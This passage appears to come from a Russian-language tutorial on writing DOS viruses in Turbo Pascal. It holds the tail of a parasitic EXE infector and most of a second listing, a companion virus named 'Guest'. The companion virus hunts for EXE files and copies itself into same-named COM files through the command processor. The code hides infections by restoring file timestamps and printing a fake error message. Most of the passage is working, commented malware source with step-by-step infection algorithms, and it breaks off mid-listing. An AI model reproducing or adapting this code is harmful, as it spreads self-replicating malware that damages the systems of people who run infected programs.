Time:=Sr.Time;
{Открываем для заражения}
Assign(Target, TargetFile);
Reset(Target, 1);
{Записывам тело вируса в начало файла}
BlockWrite(Target, VirBuf, VirLen);
{Перемещаем указатель текущей позиции
на длину вируса от начала файла}
Seek(Target, VirLen);
{Вписываем метку заражения}
BlockWrite(Target, LabelBuf, 5);
{Устанавливаем дату и время файла}
SetFTime(Target, Time);
{Закрываем}
Close(Target);
{Увеличиваем счетчик инфицированных файлов}
Inc(InfFiles);
end;
end;
{Начало процедуры FindTarget}
begin
{Ищем в текущем каталоге файлы по маске *.EXE
с атрибутами Archive}
FindFirst(’*.EXE’, Archive, Sr);
{Пока есть файлы для заражения}
While DosError=0 Do
begin
If Sr.Name=’’ Then Exit;
{Запоминаем имя найденного файла в переменную TargetFile}
TargetFile:=Sr.Name;
{Вызываем процедуру заражения}
InfectFile;
{Если заразили InfCount файлов, завершаем поиск}
If InfFiles > InfCount Then Exit;
{Ищем следующий файл по маске}
FindNext(Sr);
end;
end;
{Основное тело}
begin
{Инициализируемся}
Init;
{Ищем жертвы и заражаем их}
FindTarget;
{Выдаем на экран сообщение об ошибке}
WriteLn(’Abnormal program termination.’);
{Это чтобы компилятор вставил в код константы VirName
и Author, условие же поставлено таким образом,
что эти строки никогда не будут выведены на экран}
If 2=3 Then
begin
WriteLn(VirName);
WriteLn(Author);
end;
end.Вирусы-спутники (Companion)
Вирусы-спутники сейчас широко распространены – соотношение companion и parasitic вирусов примерно один к двум.
Инфицирование методом создания COM-файла спутника
Смысл этого метода – не трогая «чужого кота» (EXE-программу), создать «своего» – COM-файл с именем EXE-программы. Алгоритм работы такого вируса предельно прост, так как отпадает необходимость лишних действий (например, сохранения в теле вируса длины откомпилированного EXE-файла с вирусным кодом, считывания в буфер тела вируса, запуска файла, из которого вирус получил управление). Незачем даже хранить метку для определения инфицирования файла.
Заражение производится с помощью командного процессора:
1. Если в командной строке указаны параметры, сохранить их в переменную типа String для передачи инфицированной программе.
2. Найти EXE-файл-жертву.
3. Проверить, не присутствует ли в каталоге с найденным EXE-файлом COM-файл с таким же именем, как у файла-жертвы.
4. Если такой COM-файл присутствует, файл уже заражен, переходим к пункту 6.
5. С помощью командного процессора скопировать файл, из которого получено управление, в файл с именем жертвы и расширением COM.
6. Процедурой Exec загрузить и выполнить файл с именем стартового, но с расширением EXE – то есть выполнить инфицированную программу.
7. Вернуть управление в DOS.
Приведенный ниже листинг показывает заражение файлов этим методом.
{$M 2048, 0, 0}
{$A−}
{$B−}
{$D−}
{$E+}
{$F−}
{$G−}
{$I−}
{$L−}
{$N−}
{$S−}
{$V−}
{$X+}
{Используются модули Dos и System (модуль System автоматически
подключается к каждой программе при компиляции)}
Uses Dos;
Const
{Имя вируса}
VirName=’Guest’;
Author=’Dirty Nazi/SGWW. 4 PVT only!’;
{Количество зараженных за один сеанс работы файлов}
InfCount=2;
Var
{Для имени найденного файла}
TargetFile : PathStr;
{Для создания копии}
TargetCOM : PathStr;
{Счетчик количества заражений}
InfFiles : Byte;
DirInfo : SearchRec;
{Для сохранения параметров командной строки}
Parms : String;
{Для цикла For}
I: Byte;
{Поиск жертв}
procedure FindTarget;
Var
Sr : SearchRec;
{Функция возвращает True, если найденная программа уже заражена,
и False, если еще нет}
function VirusPresent: Boolean;
Var
Target : File;
begin
{Пока будем считать, что вируса здесь нет}
VirusPresent:=False;
{Пытаемся открыть файл с именем найденной программы,
но с расширением COM}
Assign(Target, TargetCOM);
Reset(Target, 1);
{Если не было ошибок при открытии,
программа уже инфицирована этим вирусом}
If IOResult=0 Then
begin
VirusPresent:=True;
{Открыли – закроем}
Close(Target);
end;
end;
{Собственно процедура заражения}
procedure InfectFile;
begin
{Если найденная программа еще не заражена, инфицируем ее}
If Not VirusPresent Then
begin
{С помощью командного процессора
копируем вирусный код в COM−файл}
SwapVectors;
Exec(GetEnv(’COMSPEC’),’/C COPY /B ’+ParamStr(0)+’
’+TargetCOM+’ >NUL’);
SwapVectors;
{Увеличиваем на единицу счетчик инфицированных файлов}
Inc(InfFiles);
end;
end;
begin {начало процедуры FindTarget}
{Ищем в текущем каталоге файлы по маске *.EXE
с атрибутами Archive}
FindFirst(’*.EXE’, Archive, Sr);
{Пока есть файлы для заражения}
While DosError=0 Do
begin
If Sr.Name=’’ Then Exit;
{Запоминаем имя найденного файла в переменную TargetFile}
TargetFile:=Sr.Name;
TargetCOM:=Copy(TargetFile,1,Length(TargetFile)–4)+’.COM’;
{Вызываем процедуру заражения}
InfectFile;
{Если заразили InfCount файлов, завершаем поиск}
If InfFiles > InfCount Then Exit;